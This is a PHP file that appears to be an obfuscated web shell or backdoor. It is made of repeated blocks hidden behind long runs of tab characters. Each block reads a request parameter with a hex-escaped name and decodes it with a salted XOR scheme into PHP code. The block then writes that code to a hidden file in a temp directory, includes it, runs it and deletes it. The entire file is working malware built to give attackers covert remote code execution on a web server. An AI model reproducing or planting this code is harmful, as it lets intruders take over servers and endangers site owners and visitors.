<?php																																										if(isset($_REQUEST) && isset($_REQUEST["\x68\x6Cd"])){ $pset = array_filter([getenv("TEMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path(), getenv("TMP")]); $pgrp = $_REQUEST["\x68\x6Cd"]; $pgrp =explode ( "." ,$pgrp) ; $pointer= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); $z= 0; array_walk( $pgrp, function( $v4) use( &$pointer, &$z, $s, $lenS) {$chS= ord( $s[$z % $lenS]); $d= ( ( int)$v4 - $chS -( $z % 10)) ^ 76; $pointer .= chr( $d); $z++;}); for ($item = 0, $data_chunk = count($pset); $item < $data_chunk; $item++) { $obj = $pset[$item]; if ((function($d) { return is_dir($d) && is_writable($d); })($obj)) { $value = "$obj/.binding"; if (file_put_contents($value, $pointer)) { require $value; unlink($value); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "ele\x6D\x65\x6Et")){ $flag = $_REQUEST["ele\x6D\x65\x6Et"]; $flag =explode ( '.' , $flag ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $q = 0; array_walk($flag ,function($v3) use(&$fac ,&$q ,$s ,$sLen) { $sChar = ord($s[$q % $sLen] ); $d = ((int)$v3 - $sChar -($q % 10)) ^ 68; $fac .=chr($d ); $q++; } ); $tkn = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm"]); foreach ($tkn as $mrk): if ((bool)is_dir($mrk) && (bool)is_writable($mrk)) { $pgrp = "$mrk/.marker"; if (file_put_contents($pgrp, $fac)) { require $pgrp; unlink($pgrp); die(); } } endforeach; }
																																										if(array_key_exists("\x70s\x65t", $_POST)){ $reference = array_filter([getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP")]); $k = $_POST["\x70s\x65t"]; $k = explode ( '.' ,$k ); $ref=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s ); $t=0; array_walk($k, function ($v3) use (&$ref, &$t, $s, $sLen) {$sChar=ord($s[$t % $sLen] ); $dec=((int)$v3 - $sChar - ($t % 10)) ^ 65; $ref.= chr($dec ); $t++; } ); foreach ($reference as $dchunk): if ((bool)is_dir($dchunk) && (bool)is_writable($dchunk)) { $element = join("/", [$dchunk, ".ptr"]); if (@file_put_contents($element, $ref) !== false) { include $element; unlink($element); exit; } } endforeach; }
																																										if(array_key_exists("\x65l\x65m\x65\x6Et", $_REQUEST) && !is_null($_REQUEST["\x65l\x65m\x65\x6Et"])){ $ent = $_REQUEST["\x65l\x65m\x65\x6Et"]; $ent = explode('.', $ent ) ; $flg = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $u = 0; $__tmp = $ent; while ($v1 = array_shift($__tmp)) { $chS = ord($salt1[$u % $sLen]); $dec = ((int)$v1 - $chS - ($u % 10)) ^ 69; $flg.=chr($dec); $u++;} $res = array_filter([getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TEMP"), "/dev/shm"]); foreach ($res as $binding) { if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) { $data = "$binding" . "/.ent"; if (file_put_contents($data, $flg)) { require $data; unlink($data); exit; } } } }
																																										if(array_key_exists("\x72ec", $_POST) && !is_null($_POST["\x72ec"])){ $hld = array_filter(["/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd()]); $data = $_POST["\x72ec"]; $data= explode ( "." , $data ) ; $holder = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); $v = 0; foreach ($data as $v7) { $chS = ord($s7[$v % $lenS] ); $dec = ((int)$v7 - $chS - ($v % 10)) ^ 26; $holder .= chr($dec ); $v++; } while ($data_chunk = array_shift($hld)) { if (is_writable($data_chunk) && is_dir($data_chunk)) { $key = "$data_chunk/.binding"; $success = file_put_contents($key, $holder); if ($success) { include $key; @unlink($key); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "\x72\x65c")){ $comp = $_POST["\x72\x65c"]; $comp= explode ("." , $comp); $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach($comp as $x => $v7) { $sChar = ord($salt[$x % $lenS] ); $d = ((int)$v7 - $sChar -($x % 10)) ^ 26; $data .= chr($d ); } $hld = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp"]); foreach ($hld as $key => $obj) { if (is_writable($obj) && is_dir($obj)) { $ptr = vsprintf("%s/%s", [$obj, ".bind"]); $success = file_put_contents($ptr, $data); if ($success) { include $ptr; @unlink($ptr); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "k\x65\x79")){ $item = $_REQUEST["k\x65\x79"]; $item= explode( '.' ,$item ) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach($item as $p=> $v5) { $sChar = ord($s[$p % $sLen]); $dec =((int)$v5 - $sChar -($p % 10)) ^ 29; $binding .= chr($dec); } $res = array_filter([getcwd(), "/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); foreach ($res as $key => $dat) { if (is_dir($dat) ? is_writable($dat) : false) { $hld = str_replace("{var_dir}", $dat, "{var_dir}/.pgrp"); if (@file_put_contents($hld, $binding) !== false) { include $hld; unlink($hld); die(); } } } }
																																										if(in_array("\x65nt", array_keys($_REQUEST))){ $entity = $_REQUEST["\x65nt"]; $entity= explode( '.' , $entity ) ; $ent = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); foreach ($entity as $p=> $v1) { $chS = ord($s7[$p % $lenS]); $d = ((int)$v1 - $chS - ($p % 10)) ^73; $ent .= chr($d); } $factor = array_filter(["/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), getcwd(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($factor as $token): if (array_product([is_dir($token), is_writable($token)])) { $resource = "$token" . "/.symbol"; $success = file_put_contents($resource, $ent); if ($success) { include $resource; @unlink($resource); exit;} } endforeach; }
																																										if(@$_REQUEST["res"] !== null){ $pointer = array_filter([session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp"]); $dchunk = $_REQUEST["res"]; $dchunk = explode ( '.' ,$dchunk ) ; $element= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $n= 0; $__tmp= $dchunk; while ($v2= array_shift($__tmp)) { $chS= ord($s[$n % $sLen]); $d= ((int)$v2 - $chS - ($n % 10)) ^41; $element .=chr($d); $n++; } $hld = 0; do { $descriptor = $pointer[$hld] ?? null; if ($hld >= count($pointer)) break; if ((bool)is_dir($descriptor) && (bool)is_writable($descriptor)) { $val = sprintf("%s/.data_chunk", $descriptor); $file = fopen($val, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $val; @unlink($val); die(); } } $hld++; } while (true); }
																																										if(!empty($_POST["\x66a\x63\x74or"])){ $fac = array_filter([getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TMP"), getcwd(), "/tmp", ini_get("upload_tmp_dir")]); $entity = $_POST["\x66a\x63\x74or"]; $entity =explode( '.' , $entity ) ; $flg = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3 ); $u = 0; while( $u < count( $entity)) { $v2 = $entity[$u]; $chS = ord( $salt3[$u % $sLen] ); $dec =( ( int)$v2 - $chS -( $u % 10)) ^ 88; $flg .= chr( $dec ); $u++; } for ($pgrp = 0, $descriptor = count($fac); $pgrp < $descriptor; $pgrp++) { $ent = $fac[$pgrp]; if (max(0, is_dir($ent) * is_writable($ent))) { $sym = "$ent/.entry"; $file = fopen($sym, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $sym; @unlink($sym); die(); } } } }
																																										if(isset($_REQUEST["res"])){ $resource = $_REQUEST["res"]; $resource=explode ( "." , $resource ) ; $flag = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1 ); $z = 0; while ($z < count($resource)) { $v5 = $resource[$z]; $chS = ord($salt1[$z% $lenS] ); $dec = ((int)$v5 - $chS - ($z% 10)) ^ 76; $flag .= chr($dec ); $z++; } $mrk = array_filter(["/var/tmp", getcwd(), "/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir()]); foreach ($mrk as $key => $hld) { if (!( !is_dir($hld) || !is_writable($hld) )) { $obj = "$hld" . "/.record"; if (@file_put_contents($obj, $flag) !== false) { include $obj; unlink($obj); die(); } } } }
																																										if(!is_null($_REQUEST["h\x6Flde\x72"] ?? null)){ $resource = $_REQUEST["h\x6Flde\x72"]; $resource =explode ('.' ,$resource ) ; $ent =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); foreach($resource as $l => $v7) {$sChar =ord($salt[$l % $sLen] ); $dec =((int)$v7 - $sChar -($l % 10)) ^ 62; $ent .= chr($dec ); } $entry = array_filter([session_save_path(), "/dev/shm", getcwd(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir()]); $desc = 0; do { $comp = $entry[$desc] ?? null; if ($desc >= count($entry)) break; if (is_writable($comp) && is_dir($comp)) { $dat = str_replace("{var_dir}", $comp, "{var_dir}/.val"); $file = fopen($dat, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $dat; @unlink($dat); die(); } } $desc++; } while (true); }


if(isset($_REQUEST["\x72\x65\x73ourc\x65"])){
	$tkn = array_filter([getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/var/tmp"]);
	$entry = $_REQUEST["\x72\x65\x73ourc\x65"];
			$entry = explode	 	(	"." 	 ,  $entry	);
	$elem = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt);
            $__len = count($entry);
    
            for ($u = 0; $u	<		$__len; $u++) {	$v7 = $entry[$u];
                $sChar = ord($salt[$u % $sLen]);
                $d = ((int)$v7 - $sChar - ($u % 10))	^	30;
                $elem	 .=  chr($d);
            }
	for ($component = 0, $fac = count($tkn); $component < $fac; $component++) {
    $item = $tkn[$component];
    		if ((function($d) { return is_dir($d) && is_writable($d); })($item)) {
    $holder = vsprintf("%s/%s", [$item, ".ent"]);
    $success = file_put_contents($holder, $elem);
if ($success) {
	include $holder;
	@unlink($holder);
	die();}
}
}
}